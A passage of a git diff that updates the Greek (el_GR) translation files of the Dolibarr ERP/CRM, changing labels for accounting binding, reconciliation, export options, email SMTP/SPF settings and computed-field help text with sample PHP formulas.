όλες τις γραμμές ConfirmDeleteMvtPartial=Αυτό θα διαγράψει τη συναλλαγή από τη λογιστική (όλες οι γραμμές που σχετίζονται με την ίδια συναλλαγή θα διαγραφούν) FinanceJournal=Ημερολόγιο χρηματοοικονομικών ExpenseReportsJournal=Ημερολόγιο αναφοράς εξόδων +InventoryJournal=Ημερολόγιο απογραφής DescFinanceJournal=Ημερολόγιο χρηματοοικονομικών που περιλαμβάνει όλους τους τύπους πληρωμών μέσω τραπεζικού λογαριασμού DescJournalOnlyBindedVisible=Αυτή είναι μια προβολή αρχείων που είναι δεσμευμένα σε έναν λογιστικό λογαριασμό και μπορούν να καταγραφούν στα Ημερολόγια και στο Καθολικό. VATAccountNotDefined=Δεν έχει οριστεί λογαριασμός για ΦΠΑ @@ -262,19 +270,20 @@ ShowSubtotalByGroup=Εμφάνιση υποσυνόλου ανά επίπεδο Pcgtype=Ομάδα του λογαριασμού PcgtypeDesc=Η ομάδα λογαριασμού χρησιμοποιείται ως προκαθορισμένο κριτήριο «φίλτρου» και «ομαδοποίησης» για ορισμένες λογιστικές αναφορές. Για παράδειγμα, «ΕΣΟΔΑ» ή «ΕΞΟΔΑ» χρησιμοποιούνται ως ομάδες λογιστικών λογαριασμών προϊόντων για τη δημιουργία της αναφοράς εξόδων / εσόδων. +AccountingCategoriesDesc=Η προσαρμοσμένη ομάδα λογαριασμών μπορεί να χρησιμοποιηθεί για την ομαδοποίηση λογιστικών λογαριασμών σε ένα όνομα για τη διευκόλυνση της χρήσης φίλτρου ή της δημιουργίας προσαρμοσμένων αναφορών. Reconcilable=Προς συμφωνία TotalVente=Συνολικός κύκλος εργασιών προ φόρων TotalMarge=Συνολικό περιθώριο πωλήσεων -DescVentilCustomer=Συμβουλευτείτε εδώ τον κατάλογο των γραμμών τιμολογίων πελατών που δεσμεύονται (ή όχι) σε λογαριασμό λογιστικής προϊόντων -DescVentilMore=Στις περισσότερες περιπτώσεις, εάν χρησιμοποιείτε προκαθορισμένα προϊόντα ή υπηρεσίες και ορίσετε τον αριθμό λογαριασμού στην κάρτα προϊόντος/υπηρεσίας, η εφαρμογή θα μπορεί να δεσμεύει όλες τις γραμμές τιμολογίων σας και τον λογιστικό λογαριασμό του λογιστικού σας σχεδίου, ακριβώς με ένα κλικ στο κουμπί "%s" . Εάν ο λογαριασμός δεν έχει οριστεί σε κάρτες προϊόντων/υπηρεσιών ή εάν εξακολουθείτε να έχετε κάποιες γραμμές που δεν είναι δεσμευμένες σε έναν λογαριασμό, θα πρέπει να κάνετε χειροκίνητη δέσμευση από το μενού " %s ". -DescVentilDoneCustomer=Συμβουλευτείτε εδώ τη λίστα με τις γραμμές τιμολογίων πελατών και τον λογιστικό λογαριασμό προϊόντων τους -DescVentilTodoCustomer=Δεσμεύστε τις γραμμές τιμολογίου που δεν έχουν ήδη δεσμευθεί με έναν λογαριασμό λογιστικής προϊόντος -ChangeAccount=Αλλάξτε το λογαριασμό λογιστικής προϊόντος / υπηρεσίας για επιλεγμένες γραμμές με τον ακόλουθο λογαριασμό λογιστικής: +DescVentilCustomer=Δείτε εδώ τη λίστα των γραμμών τιμολογίων πελάτη που συνδέονται (ή όχι) σε έναν λογαριασμό προϊόντος από το λογιστικό σχέδιο +DescVentilMore=Στις περισσότερες περιπτώσεις, εάν χρησιμοποιείτε προκαθορισμένα προϊόντα ή υπηρεσίες και ορίσετε τον λογαριασμό (από το λογιστικό σχέδιο) στην κάρτα προϊόντος/υπηρεσίας, η εφαρμογή θα μπορεί να δεσμεύει όλες τις γραμμές τιμολογίου σας στον λογιστικό λογαριασμό του λογιστικού σχεδίου σας, με ένα μόνο κλικ στο κουμπί "%s" . Εάν ο λογαριασμός δεν έχει οριστεί σε κάρτες προϊόντων/υπηρεσιών ή εάν εξακολουθείτε να έχετε ορισμένες γραμμές που δεν είναι δεσμευμένες σε έναν λογαριασμό, θα πρέπει να κάνετε μια μη αυτόματη δέσμευση από το μενού " %s ". +DescVentilDoneCustomer=Δείτε εδώ τη λίστα με τις γραμμές τιμολογίων πελατών και τον λογαριασμό προϊόντος τους από το λογιστικό σχέδιο +DescVentilTodoCustomer=Δεσμεύστε τις γραμμές τιμολογίου που δεν έχουν ήδη δεσμευθεί με έναν λογαριασμό προϊόντος από το λογιστικό σχέδιο +ChangeAccount=Αλλάξτε τον λογαριασμό προϊόντος/υπηρεσίας (από το λογιστικό σχέδιο) για τις επιλεγμένες γραμμές με τον ακόλουθο λογαριασμό: Vide=- -DescVentilSupplier=Συμβουλευτείτε εδώ τη λίστα των γραμμών τιμολογίου προμηθευτή που δεσμεύονται ή δεν έχουν ακόμη δεσμευθεί με έναν λογαριασμό λογιστικής προϊόντος (εμφανίζονται μόνο εγγραφές που δεν έχουν ήδη μεταφερθεί στη λογιστική) +DescVentilSupplier=Συμβουλευτείτε εδώ τη λίστα των γραμμών τιμολογίων προμηθευτή που είναι συνδεδεμένες ή δεν έχουν ακόμη δεσμευτεί σε λογαριασμό προϊόντος από το λογιστικό σχέδιο (μόνο το αρχείο που δεν έχει ήδη μεταφερθεί στη λογιστική είναι ορατό) DescVentilDoneSupplier=Συμβουλευτείτε εδώ τον κατάλογο των γραμμών των τιμολογίων προμηθευτών και του λογιστικού λογαριασμού τους DescVentilTodoExpenseReport=Δεσμεύστε τις γραμμές αναφοράς εξόδων που δεν έχουν ήδη δεσμευθεί με ένα Λογιστικός λογαριασμός αμοιβής DescVentilExpenseReport=Συμβουλευτείτε εδώ τον κατάλογο των γραμμών αναφοράς εξόδων που δεσμεύονται (ή όχι) σε ένα λογαριασμό λογιστικής αμοιβής @@ -286,20 +295,21 @@ DescClosure=Δείτε εδώ τον αριθμό των κινήσεων ανά OverviewOfMovementsNotValidated=Επισκόπηση κινήσεων που δεν έχουν επικυρωθεί και κλειδωθεί AllMovementsWereRecordedAsValidated=Όλες οι κινήσεις καταγράφηκαν ως επικυρωμένες και κλειδωμένες NotAllMovementsCouldBeRecordedAsValidated=Δεν ήταν δυνατό να καταγραφούν όλες οι κινήσεις ως επικυρωμένες και κλειδωμένες -ValidateMovements=Επικύρωση και κλείδωμα εγγραφής... +ValidateMovements=Επικύρωση και κλείδωμα κινήσεων... DescValidateMovements=Απαγορεύεται οποιαδήποτε τροποποίηση ή διαγραφή γραφής, συμφωνίας και διαγραφής. Όλες οι καταχωρήσεις πρέπει να επικυρωθούν, διαφορετικά το κλείσιμο δεν θα είναι δυνατό ValidateHistory=Δεσμεύστε αυτόματα AutomaticBindingDone=Ολοκληρώθηκαν οι αυτόματες δεσμεύσεις (%s) - Δεν είναι δυνατή η αυτόματη δέσμευση για κάποιες εγγραφές (%s) +DoManualBindingForFailedRecord=Πρέπει να κάνετε έναν χειροκίνητο σύνδεσμο για τις %s σειρές που δεν συνδέθηκαν αυτόματα. -ErrorAccountancyCodeIsAlreadyUse=Σφάλμα, δεν μπορείτε να διαγράψετε αυτόν τον λογιστικό λογαριασμό γιατί χρησιμοποιείται +ErrorAccountancyCodeIsAlreadyUse=Σφάλμα, δεν μπορείτε να καταργήσετε ή να απενεργοποιήσετε αυτόν τον λογαριασμό του λογιστικού σχεδίου επειδή χρησιμοποιείται MvtNotCorrectlyBalanced=Η κίνηση δεν είναι σωστά ισοζυγισμένη. Χρέωση = %s & Πίστωση = %s Balancing=Ισολογισμός FicheVentilation=Καρτέλα Δεσμεύσεων GeneralLedgerIsWritten=Οι συναλλαγές καταχωρήθηκαν στο Καθολικό GeneralLedgerSomeRecordWasNotRecorded=Δεν ήταν δυνατή η καταγραφή ορισμένων από τις συναλλαγές. Εάν δεν υπάρχει άλλο μήνυμα σφάλματος, αυτό πιθανότατα οφείλεται στο ότι είχαν ήδη καταχωρηθεί στο ημερολόγιο. NoNewRecordSaved=Δεν υπάρχει άλλη εγγραφή για μεταφορά -ListOfProductsWithoutAccountingAccount=Κατάλογος προϊόντων που δεν δεσμεύονται σε κανένα λογιστικό λογαριασμό +ListOfProductsWithoutAccountingAccount=Κατάλογος προϊόντων που δεν δεσμεύονται σε κανένα λογαριασμό του λογιστικού σχεδίου ChangeBinding=Αλλάξτε τη δέσμευση Accounted=Καταχωρήθηκε στο καθολικό NotYetAccounted=Δεν έχει μεταφερθεί ακόμη στη λογιστική @@ -322,9 +332,10 @@ AccountingJournalType1=Διάφορες εργασίες AccountingJournalType2=Πωλήσεις AccountingJournalType3=Αγορές AccountingJournalType4=Τράπεζα -AccountingJournalType5=Αναφορά εξόδων +AccountingJournalType5=Αναφορές εξόδων AccountingJournalType8=Απογραφή AccountingJournalType9=Έχει-νέο +GenerationOfAccountingEntries=Δημιουργία λογιστικών εγγραφών ErrorAccountingJournalIsAlreadyUse=Αυτό το ημερολόγιο χρησιμοποιείται ήδη AccountingAccountForSalesTaxAreDefinedInto=Σημείωση: Ο λογαριασμός λογιστικής για τον φόρο πωλήσεων ορίζεται στο μενού %s - %s NumberOfAccountancyEntries=Αριθμός καταχωρήσεων @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=Αριθμός κινήσεων ACCOUNTING_DISABLE_BINDING_ON_SALES=Απενεργοποίηση δέσμευσης και μεταφοράς των πωλήσεων στη λογιστική (τα τιμολόγια πελατών δεν θα λαμβάνονται υπόψη στη λογιστική) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Απενεργοποίηση δέσμευσης και μεταφοράς των αγορών στη λογιστική (τα τιμολόγια προμηθευτών δεν θα λαμβάνονται υπόψη στη λογιστική) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Απενεργοποίηση δέσμευσης και μεταφοράς των αναφορών εξόδων (στη λογιστική οι αναφορές εξόδων δεν θα ληφθούν υπόψη στη λογιστική) +ACCOUNTING_ENABLE_LETTERING=Ενεργοποίηση της λειτουργίας συμφωνίας στη λογιστική +ACCOUNTING_ENABLE_AUTOLETTERING=Ενεργοποιήστε την αυτόματη συμφωνία κατά τη μεταφορά στη λογιστική ## Export +NotExportLettering=Μην εξάγετε τη συμφωνία κατά τη δημιουργία του αρχείου NotifiedExportDate=Επισημάνετε τις εξαγόμενες γραμμές ως Εξαγόμενες (για να τροποποιήσετε μια γραμμή, θα χρειαστεί να διαγράψετε ολόκληρη τη συναλλαγή και να τη μεταφέρετε ξανά στη λογιστική) NotifiedValidationDate=Επικύρωση και Κλείδωμα των εξαγόμενων καταχωρήσεων (το ίδιο αποτέλεσμα με τη δυνατότητα "%s", η τροποποίηση και η διαγραφή των γραμμών ΣΙΓΟΥΡΑ δεν θα είναι δυνατή) +NotifiedExportFull=Εξαγωγή εγγράφων ; DateValidationAndLock=Ημερομηνία επικύρωσης και κλειδώματος ConfirmExportFile=Επιβεβαίωση δημιουργίας του λογιστικού αρχείου εξαγωγής ; ExportDraftJournal=Εξαγωγή προσχεδίου ημερολογίου @@ -392,7 +407,7 @@ SaleLocal=Τοπική πώληση SaleExport=Εξαγωγική πώληση SaleEEC=Πώληση στην Ε.Ε. SaleEECWithVAT=Πώληση στην Ε.Ε. με μη μηδενικό ΦΠΑ, άρα υποθέτουμε ότι ΔΕΝ πρόκειται για ενδοκοινοτική πώληση και ο προτεινόμενος λογαριασμός είναι ο τυπικός λογαριασμός προϊόντος. -SaleEECWithoutVATNumber=Πώληση στην Ε.Ε. χωρίς ΦΠΑ αλλά δεν έχει οριστεί το ΑΦΜ του τρίτου μέρους. Επιστρέφουμε στον λογαριασμό προϊόντος για τυπικές πωλήσεις. Μπορείτε να διορθώσετε το ΑΦΜ τρίτου μέρους ή τον λογαριασμό προϊόντος εάν χρειάζεται. +SaleEECWithoutVATNumber=Πώληση στην Ε.Ε. χωρίς ΦΠΑ αλλά χωρίς ΑΦΜ τρίτου. Επιστρέφουμε στον λογαριασμό για τυπικές πωλήσεις. Μπορείτε να διορθώσετε το ΑΦΜ του τρίτου μέρους ή να αλλάξετε τον λογαριασμό προϊόντος που προτείνεται για δέσμευση, εάν χρειάζεται. ForbiddenTransactionAlreadyExported=Απαγορευμένο: Η συναλλαγή έχει επικυρωθεί ή/και έχει εξαχθεί. ForbiddenTransactionAlreadyValidated=Απαγορευμένο: Η συναλλαγή έχει επικυρωθεί. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Υπολογίστηκε Formula=Τύπος ## Reconcile +LetteringAuto=Αυτόματη συμφωνία +LetteringManual=Χειροκίνητη συμφωνία Unlettering=Αναίρεση λογιστικής συμφωνίας +UnletteringAuto=Αυτόματη αναίρεση λογιστικής συμφωνίας +UnletteringManual=Χειροκίνητη αναίρεση λογιστικής συμφωνίας AccountancyNoLetteringModified=Δεν τροποποιήθηκε η συμφωνία AccountancyOneLetteringModifiedSuccessfully=Μία συμφωνία τροποποιήθηκε με επιτυχία AccountancyLetteringModifiedSuccessfully=Η συμφωνία %s τροποποιήθηκε επιτυχώς @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Ένα μη συμφωνηθέν AccountancyUnletteringModifiedSuccessfully=%s μη συμφωνηθέντα τροποποιήθηκαν επιτυχώς ## Confirm box -ConfirmMassUnlettering=Επιβεβαίωση μαζικής αναίρεσης λογιστικής συμφωνίας -ConfirmMassUnletteringQuestion=Είστε σίγουροι ότι θέλετε να αναιρέσετε την συμφωνία των επιλεγμένων εγγραφών %s; +ConfirmMassUnletteringAuto=Επιβεβαίωση αυτόματης μαζικής αναίρεσης λογιστικής συμφωνίας +ConfirmMassUnletteringManual=Επιβεβαίωση χειροκίνητης μαζικής αναίρεσης λογιστικής συμφωνίας +ConfirmMassUnletteringQuestion=Είστε σίγουροι ότι θέλετε να αναιρέσετε τη λογιστική συμφωνία των %sεπιλεγμένων εγγραφών; ConfirmMassDeleteBookkeepingWriting=Επιβεβαίωση μαζικής διαγραφής ConfirmMassDeleteBookkeepingWritingQuestion=Αυτό θα διαγράψει τη συναλλαγή από τη λογιστική (όλες οι γραμμές που σχετίζονται με την ίδια συναλλαγή θα διαγραφούν) Είστε σίγουροι ότι θέλετε να διαγράψετε τις επιλεγμένες εγγραφές %s; @@ -431,6 +451,7 @@ AccountancyErrorMismatchLetterCode=Αναντιστοιχία στον κώδι AccountancyErrorMismatchBalanceAmount=Το ισοζύγιο (%s) δεν είναι ίσο με 0 AccountancyErrorLetteringBookkeeping=Παρουσιάστηκαν σφάλματα σχετικά με τις συναλλαγές: %s ErrorAccountNumberAlreadyExists=Ο λογιστικός αριθμός %s υπάρχει ήδη +ErrorArchiveAddFile=Δεν είναι δυνατή η αρχειοθέτηση του αρχείου "%s" ## Import ImportAccountingEntries=Λογιστικές εγγραφές @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=Κωδικός πολλαπλών νομισμάτω DateExport=Ημερομηνία εξαγωγής WarningReportNotReliable=Προειδοποίηση, αυτή η αναφορά δεν βασίζεται στο Καθολικό, επομένως δεν περιέχει συναλλαγή που τροποποιήθηκε χειροκίνητα στο Καθολικό. Εάν τα ημερολόγια σας είναι ενημερωμένα, η προβολή της λογιστικής είναι πιο ακριβής. ExpenseReportJournal=Ημερολόγιο Αναφοράς Εξόδων -InventoryJournal=Ημερολόγιο απογραφής +DocsAlreadyExportedAreExcluded=Εξαιρούνται τα έγγραφα που έχουν ήδη εξαχθεί +ClickToHideAlreadyExportedLines=Κάντε κλικ για απόκρυψη γραμμών που έχουν ήδη εξαχθεί NAccounts= %s λογαριασμοί diff --git a/htdocs/langs/el_GR/admin.lang b/htdocs/langs/el_GR/admin.lang index f1724e96989..328b5590aec 100644 --- a/htdocs/langs/el_GR/admin.lang +++ b/htdocs/langs/el_GR/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Η ενότητα %s πρέπει να ενεργοποιηθεί WarningOnlyPermissionOfActivatedModules=Εδώ φαίνονται μόνο τα δικαιώματα που σχετίζονται μόνο με ενεργοποιημένες ενότητες. Μπορείτε να ενεργοποιήσετε άλλες ενότητες στο Αρχική-> Ρυθμίσεις-> σελίδα Ενότητες / Εφαρμογές. DolibarrSetup=Εγκατάσταση ή αναβάθμιση του Dolibarr -InternalUser=Εσωτερικός χρήστης -ExternalUser=Εξωτερικός χρήστης InternalUsers=Εσωτερικοί χρήστες ExternalUsers=Εξωτερικοί χρήστες UserInterface=Διεπαφή χρήστη @@ -147,6 +145,7 @@ Box=Γραφικό στοιχείο Boxes=Γραφικά στοιχεία MaxNbOfLinesForBoxes=Μέγιστο πλήθος γραμμών για τα widgets AllWidgetsWereEnabled=Όλα τα διαθέσιμα γραφικά στοιχεία είναι ενεργοποιημένα +WidgetAvailable=Διαθέσιμο γραφικό στοιχείο PositionByDefault=Προκαθορισμένη σειρά Position=Θέση MenusDesc=Οι διαχειριστές μενού ορίζουν το περιεχόμενο των δύο γραμμών μενού (οριζόντια και κάθετα). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (προεπιλεγμένη τιμή στ MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Θύρα SMTP / SMTPS (Δεν έχει οριστεί στην PHP σε συστήματα τύπου Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPS Host (Δεν έχει οριστεί στην PHP σε συστήματα τύπου Unix) MAIN_MAIL_EMAIL_FROM=Email αποστολέα για αυτόματα μηνύματα ηλεκτρονικού ταχυδρομείου (προεπιλεγμένη τιμή στο php.ini: %s ) +EMailHelpMsgSPFDKIM=Για να αποτρέψετε την ταξινόμηση των email από το Dolibarr ως ανεπιθύμητης αλληλογραφίας, βεβαιωθείτε ότι ο διακομιστής είναι εξουσιοδοτημένος να στέλνει μηνύματα ηλεκτρονικού ταχυδρομείου από αυτήν τη διεύθυνση με διαμόρφωση των SPF και DKIM MAIN_MAIL_ERRORS_TO=Το Email που χρησιμοποιείται για σφάλματα επιστρέφει τα email (με πεδία 'Errors-To' στα απεσταλμένα email) MAIN_MAIL_AUTOCOPY_TO= Αντιγράψτε (Bcc Κρυφή κοινοποίηση) όλα τα αποσταλμένα email στο MAIN_DISABLE_ALL_MAILS=Απενεργοποιήστε όλες τις αποστολές ηλεκτρονικού ταχυδρομείου (για δοκιμαστικούς σκοπούς ή demos) @@ -375,7 +375,7 @@ DoTestSendHTML=Δοκιμή αποστολής HTML ErrorCantUseRazIfNoYearInMask=Σφάλμα, δεν μπορείτε να χρησιμοποιήσετε την επιλογή @ για να μηδενίσετε το μετρητή για κάθε έτος, εάν η ακολουθία {yy} ή {yyyy} δεν είναι στη μάσκα. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Δεν μπορείτε να χρησιμοποιήσετε την επιλογή @ αν η ακολουθία {yy}{mm} ή {yyyy}{mm} δεν είναι στην μάσκα. UMask=Παράμετρος UMask για νέα αρχεία σε συστήματα αρχείων συστημάτων Unix/Linux/BSD/Mac. -UMaskExplanation=Αυτή η παράμετρος σας επιτρέπει να ορίσετε προεπιλεγμένα δικαιώματα αρχείων για αρχεία που δημιουργεί το Dolibarr στον διακομιστή (κατά την διάρκεια μεταφόρτωσης π.χ.).
      Πρέπει να είναι οκταδικής μορφής (για παράδειγμα, 0666 που σημαίνει εγγραφή και ανάγνωση για όλους).
      Αυτή η παράμετρος είναι άχρηστη σε διακομιστές Windows. +UMaskExplanation=Αυτή η παράμετρος σάς επιτρέπει να ορίσετε δικαιώματα που έχουν οριστεί από προεπιλογή σε αρχεία που δημιουργούνται από το Dolibarr στον διακομιστή (για παράδειγμα κατά τη μεταφόρτωση).
      Πρέπει να είναι η οκταδική τιμή (για παράδειγμα, 0666 που σημαίνει ανάγνωση και εγγραφή για όλους.). Η συνιστώμενη τιμή είναι 0600 ή 0660
      Αυτή η παράμετρος αφορά διακομιστή Windows. SeeWikiForAllTeam=Δείτε στη σελίδα του Wiki τη λίστα με τους συντελεστές και τους οργανισμούς τους UseACacheDelay= Καθυστέρηση για την ανταπόκριση εξαγωγής προσωρινής μνήμης σε δευτερόλεπτα (0 ή κενό για μη χρήση προσωρινής μνήμης) DisableLinkToHelpCenter=Απόκρυψη του συνδέσμου " Χρειάζεστε βοήθεια ή υποστήριξη " στη σελίδα σύνδεσης @@ -439,8 +439,10 @@ Unique=Μοναδικό Boolean=Boolean (ένα πλαίσιο ελέγχου) ExtrafieldPhone = Τηλέφωνο ExtrafieldPrice = Τιμή +ExtrafieldPriceWithCurrency=Τιμή με νόμισμα ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Επιλογή από λίστα ExtrafieldSelectList = Επιλογή από πίνακα ExtrafieldSeparator=Διαχωριστής (όχι πεδίο) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Πλαίσια ελέγχου ExtrafieldCheckBoxFromList=Πλαίσια ελέγχου από τον πίνακα ExtrafieldLink=Σύνδεσμος με ένα αντικείμενο ComputedFormula=Υπολογισμένο πεδίο -ComputedFormulaDesc=Μπορείτε να εισαγάγετε εδώ έναν τύπο χρησιμοποιώντας άλλες ιδιότητες αντικειμένου ή οποιαδήποτε κωδικοποίηση PHP για να λάβετε μια δυναμικά υπολογισμένη τιμή. Μπορείτε να χρησιμοποιήσετε οποιουσδήποτε τύπους συμβατούς με PHP, συμπεριλαμβανομένου του τελεστή συνθήκης "?" και το ακόλουθο καθολικό αντικείμενο: $db, $conf, $langs, $mysoc, $user, $object .
      ΠΡΟΕΙΔΟΠΟΙΗΣΗ : Μόνο ορισμένες ιδιότητες του $object ενδέχεται να είναι διαθέσιμες. Εάν χρειάζεστε ιδιότητες που δεν έχουν φορτωθεί, απλώς συμπεριλάβετε το αντικείμενο στον τύπο σας όπως στο δεύτερο παράδειγμα.
      Η χρήση ενός υπολογιστικού πεδίου σημαίνει ότι δεν μπορείτε να εισαγάγετε καμία τιμή από τη διεπαφή. Επίσης, εάν υπάρχει συντακτικό σφάλμα, ο τύπος ενδέχεται να μην επιστρέψει τίποτα.

      Παράδειγμα τύπου:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Παράδειγμα για επαναφόρτωση του αντικειμένου
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Άλλο παράδειγμα τύπου για την επιβολή φόρτωσης του αντικειμένου και του γονικού του αντικειμένου:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=Μπορείτε να εισαγάγετε εδώ έναν τύπο χρησιμοποιώντας άλλες ιδιότητες αντικειμένου ή οποιαδήποτε κωδικοποίηση PHP για να λάβετε μια δυναμικά υπολογισμένη τιμή. Μπορείτε να χρησιμοποιήσετε οποιουσδήποτε τύπους συμβατούς με PHP, συμπεριλαμβανομένου του τελεστή συνθήκης "?" και το ακόλουθο καθολικό αντικείμενο: $db, $conf, $langs, $mysoc, $user, $object .
      ΠΡΟΕΙΔΟΠΟΙΗΣΗ : Εάν χρειάζεστε ιδιότητες που δεν έχουν φορτωθεί, απλώς συμπεριλάβετε το αντικείμενο στον τύπο σας όπως στο δεύτερο παράδειγμα.
      Η χρήση ενός υπολογισμένου πεδίου σημαίνει ότι δεν μπορείτε να εισαγάγετε καμία τιμή από τη διεπαφή. Επίσης, εάν υπάρχει συντακτικό σφάλμα, ο τύπος ενδέχεται να μην επιστρέψει τίποτα.

      Παράδειγμα τύπου:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Παράδειγμα για επαναφόρτωση του αντικειμένου
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Άλλο παράδειγμα τύπου για την επιβολή φόρτωσης του αντικειμένου και του γονικού του αντικειμένου:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Αποθήκευση υπολογισμένου πεδίου ComputedpersistentDesc=Τα υπολογισμένα επιπλέον πεδία θα αποθηκευτούν στη βάση δεδομένων, ωστόσο, η τιμή θα επανυπολογιστεί μόνο όταν αλλάξει το αντικείμενο αυτού του πεδίου. Εάν το υπολογισμένο πεδίο εξαρτάται από άλλα αντικείμενα ή καθολικά δεδομένα, αυτή η τιμή μπορεί να είναι λανθασμένη!! ExtrafieldParamHelpPassword=Αφήνοντας αυτό το πεδίο κενό σημαίνει ότι αυτή η τιμή θα αποθηκευτεί χωρίς κρυπτογράφηση (το πεδίο πρέπει να είναι κρυμμένο μόνο από αστεράκια στην οθόνη).
      Ρυθμίστε σε 'auto' για να χρησιμοποιήσετε τον προεπιλεγμένο κανόνα κρυπτογράφησης και να αποθηκεύσετε τον κωδικό πρόσβασης στη βάση δεδομένων (τότε θα είναι αναγνώσιμο μόνο το hash της τιμής και δεν υπάρχει κανένας τρόπος για να ανακτήσετε την αρχική τιμή) @@ -501,7 +503,8 @@ WarningPHPMail=ΠΡΟΕΙΔΟΠΟΙΗΣΗ: Η ρύθμιση για την απ WarningPHPMailA=- Η χρήση του διακομιστή του παρόχου υπηρεσιών email αυξάνει την αξιοπιστία του email σας, επομένως αυξάνει την πιθανότητα παράδοσης των μηνυμάτων σας χωρίς να επισημαίνονται ως SPAM WarningPHPMailB=- Ορισμένοι πάροχοι υπηρεσιών ηλεκτρονικού ταχυδρομείου (όπως το Yahoo) δεν σας επιτρέπουν να στείλετε ένα email από άλλο διακομιστή εκτός από τον δικό τους. Η τρέχουσα ρύθμισή σας, χρησιμοποιεί τον διακομιστή της εφαρμογής για την αποστολή email και όχι τον διακομιστή του παρόχου email σας, επομένως ορισμένοι παραλήπτες (αυτοί που είναι συμβατοί με το περιοριστικό πρωτόκολλο DMARC), θα ρωτήσουν τον πάροχο email σας εάν μπορούν να δεχτούν το email σας και ορισμένοι πάροχοι email (όπως το Yahoo) μπορεί να απαντήσουν "όχι" επειδή ο διακομιστής δεν είναι δικός τους, επομένως καποια από τα αποσταλμένα email σας ενδέχεται να μην γίνονται δεκτά για παράδοση (προσέξτε επίσης το όριο αποστολής του παρόχου email σας). WarningPHPMailC=- Η χρήση του διακομιστή SMTP του δικού σας Παρόχου Υπηρεσιών Email για την αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου είναι επίσης χρήσιμη καθώς όλα τα μηνύματα ηλεκτρονικού ταχυδρομείου που αποστέλλονται από την εφαρμογή θα αποθηκεύονται και στον κατάλογο "Απεσταλμένα" του γραμματοκιβωτίου σας. -WarningPHPMailD=Επίσης, συνιστάται λοιπόν η αλλαγή της μεθόδου αποστολής e-mail στην τιμή "SMTP". Εάν θέλετε πραγματικά να διατηρήσετε την προεπιλεγμένη μέθοδο "PHP" για την αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου, απλώς αγνοήστε αυτήν την προειδοποίηση ή καταργήστε την, ορίζοντας τη σταθερά MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP σε 1 από το μενού Αρχική - Ρυθμίσεις - Άλλες Ρυθμίσεις. +WarningPHPMailD=Επομένως, συνιστάται η αλλαγή της μεθόδου αποστολής μηνυμάτων ηλεκτρονικού ταχυδρομείου στην τιμή "SMTP". +WarningPHPMailDbis=Εάν θέλετε πραγματικά να διατηρήσετε την προεπιλεγμένη μέθοδο "PHP" για την αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου, απλώς αγνοήστε αυτήν την προειδοποίηση ή αφαιρέστε την %sκάνοντας κλικ εδώ%s. WarningPHPMail2=Εάν ο πάροχος σας SMTP email χρειάζεται να περιορίσει το πρόγραμμα-πελάτη email σε ορισμένες διευθύνσεις IP (σπάνια), αυτή είναι η διεύθυνση IP του mail user agent (MUA) για την εφαρμογή σας ERP CRM: %s . WarningPHPMailSPF=Εάν το domain name στη διεύθυνση email σας προστατεύεται από μια εγγραφή SPF (ρωτήστε τον καταχωρητή του domain name σας), πρέπει να προσθέσετε τις ακόλουθες IP στην εγγραφή SPF του DNS του domain σας: %s. ActualMailSPFRecordFound=Βρέθηκε πραγματική εγγραφή SPF (για email %s): %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Παράδειγμα:
      Για τη φόρ PageUrlForDefaultValuesList=
      Παράδειγμα:
      Για τη σελίδα που παραθέτει τρίτα μέρη, είναι %s .
      Για τη διεύθυνση URL των εξωτερικών ενοτήτων που έχουν εγκατασταθεί στον προσαρμοσμένο κατάλογο, μην συμπεριλάβετε το "custom/" αλλά χρησιμοποιήστε μια διαδρομή όπως το mymodule/mypagelist.php και όχι το custom/mymodule/mypagelist.php.
